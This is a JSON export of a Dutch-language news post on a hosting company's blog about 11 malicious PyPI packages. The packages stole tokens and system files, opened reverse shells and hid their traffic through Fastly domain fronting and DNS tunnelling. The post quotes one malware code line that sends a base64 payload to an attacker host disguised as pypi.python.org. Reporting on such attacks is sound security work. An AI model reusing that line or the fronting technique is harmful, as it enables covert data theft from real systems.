{"id":102339,"date":"2021-11-20T09:36:56","date_gmt":"2021-11-20T07:36:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi"},"modified":"2021-11-20T09:36:56","modified_gmt":"2021-11-20T07:36:57","slug":"v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","status":"publish","type":"post","link":"https:\/\/prohoster.info\/nl\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","title":{"rendered":"Kwaadaardige bibliotheken ontdekt in de PyPI-catalogus die CDN PyPI gebruiken om de communicatielijn te verbergen","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>In de PyPI-catalogus (Python Package Index) zijn 11 pakketten met kwaadaardige code ontdekt. Voordat de problemen werden vastgesteld, hadden de pakketten samen ongeveer 38.000 downloads behaald. De ontdekte kwaadaardige pakketten zijn opmerkelijk vanwege hun complexe methoden om communicatiekanalen met de servers van aanvallers te verbergen.     <\/p>\n<ul>\n<li class=\"l\"> importantpackage (6305 downloads), important-package (12897) \u2014 verbond met een externe server alsof het een verbinding met pypi.python.org was om shell-toegang tot het systeem te bieden (reverse shell) en gebruikte het programma trevorc2 om het communicatiekanaal te verbergen.\n<li class=\"l\"> pptest (10001), ipboards (946) \u2014 gebruikten DNS als communicatiekanaal voor het verzenden van systeeminformatie (in het eerste pakket de hostnaam, werkdirectory, interne en externe IP, in het tweede \u2014 de gebruikersnaam en hostnaam).\n<li class=\"l\"> owlmoon (3285), DiscordSafety (557), yiffparty (1859) \u2014 detecteerden de Discord-service token in het systeem en verstuurden deze naar een externe host.\n<li class=\"l\"> trrfab (287) \u2014 stuurde naar een externe host de identificatie, hostnaam en de inhoud van \/etc\/passwd, \/etc\/hosts, \/home.\n<li class=\"l\"> 10Cent10 (490) \u2014 stelde een inverse shell-verbinding in met een externe host.\n<li class=\"l\"> yandex-yt (4183) \u2014 gaf een bericht weer over de compromittering van het systeem en leidde door naar een pagina met aanvullende informatie over de volgende stappen, aangeboden via nda.ya.ru (api.ya.cc).  <\/ul>\n<p>Bijzonder aandacht verdient de methode van verbinding maken met externe hosts, gebruikt in de pakketten importantpackage en important-package, die het content delivery network Fastly gebruikten om hun activiteiten te verbergen, toegepast in de PyPI-catalogus. In feite werden verzoeken verzonden naar de server pypi.python.org (onder andere met de vermelding van python.org in SNI binnen het HTTPS-verzoek), maar in de HTTP-header 'Host' werd de naam van de server, gecontroleerd door de aanvallers (sec.forward.io.global.prod.fastly.net), gezet. Het content delivery network leidde een dergelijk verzoek naar de aanvallers, gebruikmakend van de TLS-parameters van de verbinding met pypi.python.org.       <\/p>\n<p>De werking van de PyPI-infrastructuur wordt gerealiseerd met behulp van het content delivery network Fastly, waarbij voor het cachen van standaardverzoeken een transparante proxy Varnish wordt gebruikt en de verwerking van TLS-certificaten gebeurt op CDN-niveau en niet op de eindservers, om HTTPS-verzoeken via de proxy te kunnen doorsturen. Ongeacht de doelhost worden verzoeken naar de proxy gestuurd, die de benodigde host bepaalt op basis van de HTTP-header 'Host', en <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/nl\/domain\/\"   title=\"domeinnamen\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"934\">domeinnamen<\/a> Hosts are linked to standard Fastly IP addresses for all CDN load balancers.      <\/p>\n<p>De aanvallerserver wordt ook geregistreerd bij CDN Fastly, dat gratis tariefformules aanbiedt aan iedereen en zelfs anonieme registratie toestaat. Opvallend is dat dezelfde methode wordt gebruikt voor het verzenden van verzoeken naar het slachtoffer bij het cre\u00ebren van een 'reverse shell', maar ge\u00efnitieerd vanaf de host van de aanvallers. Van buitenaf lijkt de interactie met de aanvallerserver op een legitieme sessie met de PyPI-catalogus, versleuteld met behulp van <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/nl\/ssl-sertifikat\/\"   title=\"TLS-certificaat\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"951\">TLS-certificaat<\/a> PyPI. Deze techniek, bekend als 'domain fronting', werd eerder actief gebruikt om de hostnaam te verbergen bij het omzeilen van blokkades, door gebruik te maken van de mogelijkheid om via sommige CDN-netwerken HTTPS-verzoeken te doen met de opgegeven fictieve host in de SNI en de daadwerkelijke hostnaam in de HTTP-Host-header binnen de TLS-sessie te verzenden.     <center><img decoding=\"async\" alt=\"Kwaadaardige bibliotheken ontdekt in de PyPI-catalogus die CDN PyPI gebruiken om de communicatielijn te verbergen \" src=\"\/wp-content\/uploads\/2021\/11\/9e9761458829291aded542d2bcae4cf3.jpg\" style=\"display:block;margin: 0 auto;\" \/><\/center>      <\/p>\n<p>Om kwaadaardige activiteiten verder te verbergen, werd het TrevorC2-pakket gebruikt, dat het mogelijk maakt om de interactie met de server te laten lijken op gewone webnavigatie. Zo werden kwaadaardige verzoeken verzonden als een afbeelding download 'https:\/\/pypi.python.org\/images\/guid=' met gecodeerde informatie in de parameter guid.           url = 'https:\/\/pypi.python.org' + '\/images' + '?' + 'guid=' + b64_payload     r = request.Request(url, headers = {'Host': 'psec.forward.io.global.prod.fastly.net'})      <\/p>\n<p>In de pakketten pptest en ipboards werd een andere benadering gebruikt om netwerkactiviteit te verbergen, gebaseerd op het coderen van nuttige informatie in verzoeken aan de DNS-server. Malware verstuurt informatie door DNS-verzoeken van het type 'nu4timjagq4fimbuhe.example.com' uit te voeren, waarbij de overgedragen gegevens naar de controle-server zijn gecodeerd in de subdomeinnaam met behulp van het base64-formaat. De aanvaller ontvangt de gegevens van de berichten door de DNS-server voor het domein example.com te controleren.<br \/>\n<br \/>Bron: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=56190\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437. \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. importantpackage (6305 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a), important-package (12897) &#8212; \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a pypi.python.org \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":102340,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102339","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/nl\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"nl_NL\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/nl\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Malicious libraries have been identified in the PyPI directory, using the PyPI CDN to conceal the communication channel | ProHoster","description":"In the PyPI (Python Package Index) directory, 11 packages containing malicious code have been identified. Before the problems were detected, these packages managed to be downloaded about 38,000 times.","canonical_url":"https:\/\/prohoster.info\/nl\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"nl_NL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster","og:description":"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.","og:url":"https:\/\/prohoster.info\/nl\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-11-20T07:36:57+00:00","article:modified_time":"2021-11-20T07:36:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102339","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-11-20 07:37:34","updated":"2026-02-08 21:02:57","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts\/102339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/comments?post=102339"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts\/102339\/revisions"}],"predecessor-version":[{"id":158143,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts\/102339\/revisions\/158143"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/media\/102340"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/media?parent=102339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/categories?post=102339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/tags?post=102339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}